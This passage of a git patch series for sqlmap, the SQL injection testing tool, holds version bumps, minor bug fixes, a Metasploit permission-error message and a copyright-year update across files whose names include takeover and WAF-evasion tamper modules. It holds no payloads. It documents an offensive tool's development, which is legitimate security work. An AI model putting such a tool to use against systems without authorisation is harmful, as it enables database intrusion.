and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 884ee5673019c9fda75329766b96d4739f986ad9 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 23 Dec 2019 12:14:40 +0100 Subject: [PATCH 793/800] Fixes #4050 --- lib/core/settings.py | 2 +- lib/utils/sqlalchemy.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 2c1c33d65b6..52a53249ed9 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.12.28" +VERSION = "1.3.12.29" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/sqlalchemy.py b/lib/utils/sqlalchemy.py index ac862498b11..a7af101b784 100644 --- a/lib/utils/sqlalchemy.py +++ b/lib/utils/sqlalchemy.py @@ -25,7 +25,7 @@ try: import MySQLdb # used by SQLAlchemy in case of MySQL warnings.filterwarnings("error", category=MySQLdb.Warning) -except ImportError: +except (ImportError, AttributeError): pass from lib.core.data import conf From 70e6700eb7692c50cffe2118ffbe6cb206bd9cfe Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 27 Dec 2019 14:38:22 +0100 Subject: [PATCH 794/800] Fixes #4053 --- lib/core/settings.py | 2 +- sqlmap.py | 5 +++++ 2 files changed, 6 insertions(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 52a53249ed9..93c57e67a63 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.12.29" +VERSION = "1.3.12.30" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/sqlmap.py b/sqlmap.py index cfb9ddac3b3..b353ae3248a 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -275,6 +275,11 @@ def main(): logger.critical(errMsg) raise SystemExit + elif all(_ in excMsg for _ in ("Permission denied", "metasploit")): + errMsg = "permission error occurred while using Metasploit" + logger.critical(errMsg) + raise SystemExit + elif "Read-only file system" in excMsg: errMsg = "output device is mounted as read-only" logger.critical(errMsg) From bcb94827240ccaa28f1cd1cec236d3eebc89d401 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 27 Dec 2019 15:20:09 +0100 Subject: [PATCH 795/800] Fixes #4048 --- lib/core/settings.py | 2 +- lib/core/target.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 93c57e67a63..2f37b63886d 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.12.30" +VERSION = "1.3.12.31" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/target.py b/lib/core/target.py index d23fbb49dcf..65028db59b1 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -401,7 +401,7 @@ def process(match, repl): raise SqlmapGenericException(errMsg) if conf.csrfToken: - if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))) and not re.search(r"\b%s\b" % conf.csrfToken, conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}): + if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}), conf.paramDict.get(PLACE.COOKIE, {}))) and not re.search(r"\b%s\b" % conf.csrfToken, conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}): errMsg = "anti-CSRF token parameter '%s' not " % conf.csrfToken._original errMsg += "found in provided GET, POST, Cookie or header values" raise SqlmapGenericException(errMsg) From 4c5cb9e0d46a04a65ea29d09fdf0e68f7736f88b Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 27 Dec 2019 15:37:02 +0100 Subject: [PATCH 796/800] Subtle (sneaky) bug removed (related to #4051) - False or '' results with '' --- lib/core/common.py | 4 +++- lib/core/settings.py | 2 +- 2 files changed, 4 insertions(+), 2 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index b6e77c6f3ad..e88975f7f25 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1123,8 +1123,10 @@ def readInput(message, default=None, checkBatch=True, boolean=False): if boolean: retVal = retVal.strip().upper() == 'Y' + else: + retVal = retVal or "" - return retVal or "" + return retVal def setTechnique(technique): """ diff --git a/lib/core/settings.py b/lib/core/settings.py index 2f37b63886d..2fcd63fca0a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.12.31" +VERSION = "1.3.12.32" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From cf7022b0a0e7d6519019732dbc0dbf19a1be3a58 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 27 Dec 2019 18:18:32 +0100 Subject: [PATCH 797/800] Minor patch (empty input without newline) --- lib/core/common.py | 5 ++++- lib/core/settings.py | 2 +- 2 files changed, 5 insertions(+), 2 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index e88975f7f25..377d135fa06 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1104,7 +1104,10 @@ def readInput(message, default=None, checkBatch=True, boolean=False): dataToStdout("%s" % message, forceOutput=not kb.wizardMode, bold=True) kb.prependFlag = False - retVal = _input().strip() or default + retVal = _input() + if not retVal: # Note: Python doesn't print newline on empty input + dataToStdout("\n") + retVal = retVal.strip() or default retVal = getUnicode(retVal, encoding=sys.stdin.encoding) if retVal else retVal except: try: diff --git a/lib/core/settings.py b/lib/core/settings.py index 2fcd63fca0a..c57bd28514c 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.12.32" +VERSION = "1.3.12.33" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From e0ecf8c8042b86b38c900c21ffdb2486a469f176 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 31 Dec 2019 11:03:14 +0100 Subject: [PATCH 798/800] Fixes #4056 --- lib/core/settings.py | 2 +- lib/request/redirecthandler.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index c57bd28514c..7a2fe64b90b 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.12.33" +VERSION = "1.3.12.34" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/redirecthandler.py b/lib/request/redirecthandler.py index 13c3fb4a138..18bb1285a82 100644 --- a/lib/request/redirecthandler.py +++ b/lib/request/redirecthandler.py @@ -174,7 +174,7 @@ def _(self, length=None): except: redurl = None result = fp - fp.read = io.BytesIO("").read + fp.read = io.BytesIO(b"").read else: result = fp From 4833e408241948bc2aea7661a563bac1edc9d81a Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 1 Jan 2020 13:22:06 +0100 Subject: [PATCH 799/800] Version bump --- lib/core/settings.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 7a2fe64b90b..7a40fcfe39d 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.12.34" +VERSION = "1.4" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 4efd745b5cb5a96899c587beec14abb5cee20eca Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 1 Jan 2020 13:25:15 +0100 Subject: [PATCH 800/800] Copyright year bump --- LICENSE | 2 +- data/txt/common-columns.txt | 2 +- data/txt/common-files.txt | 2 +- data/txt/common-outputs.txt | 2 +- data/txt/common-tables.txt | 2 +- data/txt/keywords.txt | 2 +- data/txt/user-agents.txt | 2 +- extra/__init__.py | 2 +- extra/beep/__init__.py | 2 +- extra/beep/beep.py | 2 +- extra/cloak/__init__.py | 2 +- extra/cloak/cloak.py | 2 +- extra/dbgtool/__init__.py | 2 +- extra/dbgtool/dbgtool.py | 2 +- extra/shutils/blanks.sh | 2 +- extra/shutils/drei.sh | 2 +- extra/shutils/duplicates.py | 2 +- extra/shutils/junk.sh | 2 +- extra/shutils/modernize.sh | 2 +- extra/shutils/pycodestyle.sh | 2 +- extra/shutils/pydiatra.sh | 2 +- extra/shutils/pyflakes.sh | 2 +- extra/shutils/pypi.sh | 4 ++-- extra/vulnserver/__init__.py | 2 +- extra/vulnserver/vulnserver.py | 2 +- lib/__init__.py | 2 +- lib/controller/__init__.py | 2 +- lib/controller/action.py | 2 +- lib/controller/checks.py | 2 +- lib/controller/controller.py | 2 +- lib/controller/handler.py | 2 +- lib/core/__init__.py | 2 +- lib/core/agent.py | 2 +- lib/core/bigarray.py | 2 +- lib/core/common.py | 2 +- lib/core/compat.py | 2 +- lib/core/convert.py | 2 +- lib/core/data.py | 2 +- lib/core/datatype.py | 2 +- lib/core/decorators.py | 2 +- lib/core/defaults.py | 2 +- lib/core/dicts.py | 2 +- lib/core/dump.py | 2 +- lib/core/enums.py | 2 +- lib/core/exception.py | 2 +- lib/core/gui.py | 4 ++-- lib/core/log.py | 2 +- lib/core/option.py | 2 +- lib/core/optiondict.py | 2 +- lib/core/patch.py | 2 +- lib/core/profiling.py | 2 +- lib/core/readlineng.py | 2 +- lib/core/replication.py | 2 +- lib/core/revision.py | 2 +- lib/core/session.py | 2 +- lib/core/settings.py | 2 +- lib/core/shell.py | 2 +- lib/core/subprocessng.py | 2 +- lib/core/target.py | 2 +- lib/core/testing.py | 2 +- lib/core/threads.py | 2 +- lib/core/unescaper.py | 2 +- lib/core/update.py | 2 +- lib/core/wordlist.py | 2 +- lib/parse/__init__.py | 2 +- lib/parse/banner.py | 2 +- lib/parse/cmdline.py | 2 +- lib/parse/configfile.py | 2 +- lib/parse/handler.py | 2 +- lib/parse/headers.py | 2 +- lib/parse/html.py | 2 +- lib/parse/payloads.py | 2 +- lib/parse/sitemap.py | 2 +- lib/request/__init__.py | 2 +- lib/request/basic.py | 2 +- lib/request/basicauthhandler.py | 2 +- lib/request/chunkedhandler.py | 2 +- lib/request/comparison.py | 2 +- lib/request/connect.py | 2 +- lib/request/direct.py | 2 +- lib/request/dns.py | 2 +- lib/request/httpshandler.py | 2 +- lib/request/inject.py | 2 +- lib/request/methodrequest.py | 2 +- lib/request/pkihandler.py | 2 +- lib/request/rangehandler.py | 2 +- lib/request/redirecthandler.py | 2 +- lib/request/templates.py | 2 +- lib/takeover/__init__.py | 2 +- lib/takeover/abstraction.py | 2 +- lib/takeover/icmpsh.py | 2 +- lib/takeover/metasploit.py | 2 +- lib/takeover/registry.py | 2 +- lib/takeover/udf.py | 2 +- lib/takeover/web.py | 2 +- lib/takeover/xp_cmdshell.py | 2 +- lib/techniques/__init__.py | 2 +- lib/techniques/blind/__init__.py | 2 +- lib/techniques/blind/inference.py | 2 +- lib/techniques/dns/__init__.py | 2 +- lib/techniques/dns/test.py | 2 +- lib/techniques/dns/use.py | 2 +- lib/techniques/error/__init__.py | 2 +- lib/techniques/error/use.py | 2 +- lib/techniques/union/__init__.py | 2 +- lib/techniques/union/test.py | 2 +- lib/techniques/union/use.py | 2 +- lib/utils/__init__.py | 2 +- lib/utils/api.py | 2 +- lib/utils/brute.py | 2 +- lib/utils/crawler.py | 2 +- lib/utils/deps.py | 2 +- lib/utils/getch.py | 2 +- lib/utils/har.py | 2 +- lib/utils/hash.py | 2 +- lib/utils/hashdb.py | 2 +- lib/utils/httpd.py | 2 +- lib/utils/pivotdumptable.py | 2 +- lib/utils/progress.py | 2 +- lib/utils/purge.py | 2 +- lib/utils/safe2bin.py | 2 +- lib/utils/search.py | 2 +- lib/utils/sqlalchemy.py | 2 +- lib/utils/timeout.py | 2 +- lib/utils/versioncheck.py | 2 +- lib/utils/xrange.py | 2 +- plugins/__init__.py | 2 +- plugins/dbms/__init__.py | 2 +- plugins/dbms/access/__init__.py | 2 +- plugins/dbms/access/connector.py | 2 +- plugins/dbms/access/enumeration.py | 2 +- plugins/dbms/access/filesystem.py | 2 +- plugins/dbms/access/fingerprint.py | 2 +- plugins/dbms/access/syntax.py | 2 +- plugins/dbms/access/takeover.py | 2 +- plugins/dbms/db2/__init__.py | 2 +- plugins/dbms/db2/connector.py | 2 +- plugins/dbms/db2/enumeration.py | 2 +- plugins/dbms/db2/filesystem.py | 2 +- plugins/dbms/db2/fingerprint.py | 2 +- plugins/dbms/db2/syntax.py | 2 +- plugins/dbms/db2/takeover.py | 2 +- plugins/dbms/firebird/__init__.py | 2 +- plugins/dbms/firebird/connector.py | 2 +- plugins/dbms/firebird/enumeration.py | 2 +- plugins/dbms/firebird/filesystem.py | 2 +- plugins/dbms/firebird/fingerprint.py | 2 +- plugins/dbms/firebird/syntax.py | 2 +- plugins/dbms/firebird/takeover.py | 2 +- plugins/dbms/h2/__init__.py | 2 +- plugins/dbms/h2/connector.py | 2 +- plugins/dbms/h2/enumeration.py | 2 +- plugins/dbms/h2/filesystem.py | 2 +- plugins/dbms/h2/fingerprint.py | 2 +- plugins/dbms/h2/syntax.py | 2 +- plugins/dbms/h2/takeover.py | 2 +- plugins/dbms/hsqldb/__init__.py | 2 +- plugins/dbms/hsqldb/connector.py | 2 +- plugins/dbms/hsqldb/enumeration.py | 2 +- plugins/dbms/hsqldb/filesystem.py | 2 +- plugins/dbms/hsqldb/fingerprint.py | 2 +- plugins/dbms/hsqldb/syntax.py | 2 +- plugins/dbms/hsqldb/takeover.py | 2 +- plugins/dbms/informix/__init__.py | 2 +- plugins/dbms/informix/connector.py | 2 +- plugins/dbms/informix/enumeration.py | 2 +- plugins/dbms/informix/filesystem.py | 2 +- plugins/dbms/informix/fingerprint.py | 2 +- plugins/dbms/informix/syntax.py | 2 +- plugins/dbms/informix/takeover.py | 2 +- plugins/dbms/maxdb/__init__.py | 2 +- plugins/dbms/maxdb/connector.py | 2 +- plugins/dbms/maxdb/enumeration.py | 2 +- plugins/dbms/maxdb/filesystem.py | 2 +- plugins/dbms/maxdb/fingerprint.py | 2 +- plugins/dbms/maxdb/syntax.py | 2 +- plugins/dbms/maxdb/takeover.py | 2 +- plugins/dbms/mssqlserver/__init__.py | 2 +- plugins/dbms/mssqlserver/connector.py | 2 +- plugins/dbms/mssqlserver/enumeration.py | 2 +- plugins/dbms/mssqlserver/filesystem.py | 2 +- plugins/dbms/mssqlserver/fingerprint.py | 2 +- plugins/dbms/mssqlserver/syntax.py | 2 +- plugins/dbms/mssqlserver/takeover.py | 2 +- plugins/dbms/mysql/__init__.py | 2 +- plugins/dbms/mysql/connector.py | 2 +- plugins/dbms/mysql/enumeration.py | 2 +- plugins/dbms/mysql/filesystem.py | 2 +- plugins/dbms/mysql/fingerprint.py | 2 +- plugins/dbms/mysql/syntax.py | 2 +- plugins/dbms/mysql/takeover.py | 2 +- plugins/dbms/oracle/__init__.py | 2 +- plugins/dbms/oracle/connector.py | 2 +- plugins/dbms/oracle/enumeration.py | 2 +- plugins/dbms/oracle/filesystem.py | 2 +- plugins/dbms/oracle/fingerprint.py | 2 +- plugins/dbms/oracle/syntax.py | 2 +- plugins/dbms/oracle/takeover.py | 2 +- plugins/dbms/postgresql/__init__.py | 2 +- plugins/dbms/postgresql/connector.py | 2 +- plugins/dbms/postgresql/enumeration.py | 2 +- plugins/dbms/postgresql/filesystem.py | 2 +- plugins/dbms/postgresql/fingerprint.py | 2 +- plugins/dbms/postgresql/syntax.py | 2 +- plugins/dbms/postgresql/takeover.py | 2 +- plugins/dbms/sqlite/__init__.py | 2 +- plugins/dbms/sqlite/connector.py | 2 +- plugins/dbms/sqlite/enumeration.py | 2 +- plugins/dbms/sqlite/filesystem.py | 2 +- plugins/dbms/sqlite/fingerprint.py | 2 +- plugins/dbms/sqlite/syntax.py | 2 +- plugins/dbms/sqlite/takeover.py | 2 +- plugins/dbms/sybase/__init__.py | 2 +- plugins/dbms/sybase/connector.py | 2 +- plugins/dbms/sybase/enumeration.py | 2 +- plugins/dbms/sybase/filesystem.py | 2 +- plugins/dbms/sybase/fingerprint.py | 2 +- plugins/dbms/sybase/syntax.py | 2 +- plugins/dbms/sybase/takeover.py | 2 +- plugins/generic/__init__.py | 2 +- plugins/generic/connector.py | 2 +- plugins/generic/custom.py | 2 +- plugins/generic/databases.py | 2 +- plugins/generic/entries.py | 2 +- plugins/generic/enumeration.py | 2 +- plugins/generic/filesystem.py | 2 +- plugins/generic/fingerprint.py | 2 +- plugins/generic/misc.py | 2 +- plugins/generic/search.py | 2 +- plugins/generic/syntax.py | 2 +- plugins/generic/takeover.py | 2 +- plugins/generic/users.py | 2 +- sqlmap.py | 2 +- sqlmapapi.py | 2 +- tamper/__init__.py | 2 +- tamper/apostrophemask.py | 2 +- tamper/apostrophenullencode.py | 2 +- tamper/appendnullbyte.py | 2 +- tamper/base64encode.py | 2 +- tamper/between.py | 2 +- tamper/bluecoat.py | 2 +- tamper/chardoubleencode.py | 2 +- tamper/charencode.py | 2 +- tamper/charunicodeencode.py | 2 +- tamper/charunicodeescape.py | 2 +- tamper/commalesslimit.py | 2 +- tamper/commalessmid.py | 2 +- tamper/commentbeforeparentheses.py | 2 +- tamper/concat2concatws.py | 2 +- tamper/equaltolike.py | 2 +- tamper/escapequotes.py | 2 +- tamper/greatest.py | 2 +- tamper/halfversionedmorekeywords.py | 2 +- tamper/hex2char.py | 2 +- tamper/htmlencode.py | 2 +- tamper/ifnull2casewhenisnull.py | 2 +- tamper/ifnull2ifisnull.py | 2 +- tamper/informationschemacomment.py | 2 +- tamper/least.py | 2 +- tamper/lowercase.py | 2 +- tamper/luanginx.py | 2 +- tamper/modsecurityversioned.py | 2 +- tamper/modsecurityzeroversioned.py | 2 +- tamper/multiplespaces.py | 2 +- tamper/overlongutf8.py | 2 +- tamper/overlongutf8more.py | 2 +- tamper/percentage.py | 2 +- tamper/plus2concat.py | 2 +- tamper/plus2fnconcat.py | 2 +- tamper/randomcase.py | 2 +- tamper/randomcomments.py | 2 +- tamper/sp_password.py | 2 +- tamper/space2comment.py | 2 +- tamper/space2dash.py | 2 +- tamper/space2hash.py | 2 +- tamper/space2morecomment.py | 2 +- tamper/space2morehash.py | 2 +- tamper/space2mssqlblank.py | 2 +- tamper/space2mssqlhash.py | 2 +- tamper/space2mysqlblank.py | 2 +- tamper/space2mysqldash.py | 2 +- tamper/space2plus.py | 2 +- tamper/space2randomblank.py | 2 +- tamper/substring2leftright.py | 2 +- tamper/symboliclogical.py | 2 +- tamper/unionalltounion.py | 2 +- tamper/unmagicquotes.py | 2 +- tamper/uppercase.py | 2 +- tamper/varnish.py | 2 +- tamper/versionedkeywords.py | 2 +- tamper/versionedmorekeywords.py | 2 +- tamper/xforwardedfor.py | 2 +- 292 files changed, 294 insertions(+), 294 deletions(-) diff --git a/LICENSE b/LICENSE index da63e45d6bb..3fd5aa775d2 100644 --- a/LICENSE +++ b/LICENSE @@ -1,7 +1,7 @@ COPYING -- Describes the terms under which sqlmap is distributed. A copy of the GNU General Public License (GPL) is appended to this file. -sqlmap is (C) 2006-2019 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar. +sqlmap is (C) 2006-2020 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar. This program is free software; you may redistribute and/or modify it under the terms of the GNU General Public License as published by the Free diff --git a/data/txt/common-columns.txt b/data/txt/common-columns.txt index 16f7e8c7c36..6b47653ea4c 100644 --- a/data/txt/common-columns.txt +++ b/data/txt/common-columns.txt @@ -1,4 +1,4 @@ -# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) # See the file 'LICENSE' for copying permission id diff --git a/data/txt/common-files.txt b/data/txt/common-files.txt index 8db048a6b67..92f64688ed0 100644 --- a/data/txt/common-files.txt +++ b/data/txt/common-files.txt @@ -1,4 +1,4 @@ -# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) # See the file 'LICENSE' for copying permission # Reference: https://gist.github.com/sckalath/78ad449346171d29241a diff --git a/data/txt/common-outputs.txt b/data/txt/common-outputs.txt index 874bd83e27f..f5292688be5 100644 --- a/data/txt/common-outputs.txt +++ b/data/txt/common-outputs.txt @@ -1,4 +1,4 @@ -# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) # See the file 'LICENSE' for copying permission [Banners] diff --git a/data/txt/common-tables.txt b/data/txt/common-tables.txt index 12c210c29b0..7f111c62135 100644 --- a/data/txt/common-tables.txt +++ b/data/txt/common-tables.txt @@ -1,4 +1,4 @@ -# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) # See the file 'LICENSE' for copying permission users diff --git a/data/txt/keywords.txt b/data/txt/keywords.txt index 0dbc046b00c..8113c553c92 100644 --- a/data/txt/keywords.txt +++ b/data/txt/keywords.txt @@ -1,4 +1,4 @@ -# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) # See the file 'LICENSE' for copying permission # SQL-92 keywords (reference: http://developer.mimer.com/validator/sql-reserved-words.tml) diff --git a/data/txt/user-agents.txt b/data/txt/user-agents.txt index 488a09d471d..5b0adbc058b 100644 --- a/data/txt/user-agents.txt +++ b/data/txt/user-agents.txt @@ -1,4 +1,4 @@ -# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) # See the file 'LICENSE' for copying permission # Opera diff --git a/extra/__init__.py b/extra/__init__.py index c654cbef7f4..a1e6b478904 100644 --- a/extra/__init__.py +++ b/extra/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/extra/beep/__init__.py b/extra/beep/__init__.py index c654cbef7f4..a1e6b478904 100644 --- a/extra/beep/__init__.py +++ b/extra/beep/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/extra/beep/beep.py b/extra/beep/beep.py index 88c042d520c..7a866bff0d6 100644 --- a/extra/beep/beep.py +++ b/extra/beep/beep.py @@ -3,7 +3,7 @@ """ beep.py - Make a beep sound -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/extra/cloak/__init__.py b/extra/cloak/__init__.py index c654cbef7f4..a1e6b478904 100644 --- a/extra/cloak/__init__.py +++ b/extra/cloak/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/extra/cloak/cloak.py b/extra/cloak/cloak.py index 345a061d17d..860f4fde350 100644 --- a/extra/cloak/cloak.py +++ b/extra/cloak/cloak.py @@ -3,7 +3,7 @@ """ cloak.py - Simple file encryption/compression utility -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/extra/dbgtool/__init__.py b/extra/dbgtool/__init__.py index c654cbef7f4..a1e6b478904 100644 --- a/extra/dbgtool/__init__.py +++ b/extra/dbgtool/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/extra/dbgtool/dbgtool.py b/extra/dbgtool/dbgtool.py index 30ae5e83784..4d7352557c4 100644 --- a/extra/dbgtool/dbgtool.py +++ b/extra/dbgtool/dbgtool.py @@ -3,7 +3,7 @@ """ dbgtool.py - Portable executable to ASCII debug script converter -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/extra/shutils/blanks.sh b/extra/shutils/blanks.sh index 9813f9a10cf..59670fbdbf2 100755 --- a/extra/shutils/blanks.sh +++ b/extra/shutils/blanks.sh @@ -1,6 +1,6 @@ #!/bin/bash -# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) # See the file 'LICENSE' for copying permission # Removes trailing spaces from blank lines inside project files diff --git a/extra/shutils/drei.sh b/extra/shutils/drei.sh index 85d40379edf..f73027a3077 100755 --- a/extra/shutils/drei.sh +++ b/extra/shutils/drei.sh @@ -1,6 +1,6 @@ #!/bin/bash -# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) # See the file 'LICENSE' for copying permission # Stress test against Python3 diff --git a/extra/shutils/duplicates.py b/extra/shutils/duplicates.py index 7ffe0d4448b..158d0a45742 100755 --- a/extra/shutils/duplicates.py +++ b/extra/shutils/duplicates.py @@ -1,6 +1,6 @@ #!/usr/bin/env python -# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) # See the file 'LICENSE' for copying permission # Removes duplicate entries in wordlist like files diff --git a/extra/shutils/junk.sh b/extra/shutils/junk.sh index 57ff2118466..5d6e298b5d5 100755 --- a/extra/shutils/junk.sh +++ b/extra/shutils/junk.sh @@ -1,6 +1,6 @@ #!/bin/bash -# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) # See the file 'LICENSE' for copying permission find . -type d -name "__pycache__" -exec rm -rf {} \; &>/dev/null diff --git a/extra/shutils/modernize.sh b/extra/shutils/modernize.sh index ac5cab0020b..10f84244f97 100755 --- a/extra/shutils/modernize.sh +++ b/extra/shutils/modernize.sh @@ -1,6 +1,6 @@ #!/bin/bash -# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) # See the file 'LICENSE' for copying permission # sudo pip install modernize diff --git a/extra/shutils/pycodestyle.sh b/extra/shutils/pycodestyle.sh index 53acf30f9a2..7136ecee9e5 100755 --- a/extra/shutils/pycodestyle.sh +++ b/extra/shutils/pycodestyle.sh @@ -1,6 +1,6 @@ #!/bin/bash -# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) # See the file 'LICENSE' for copying permission # Runs pycodestyle on all python files (prerequisite: pip install pycodestyle) diff 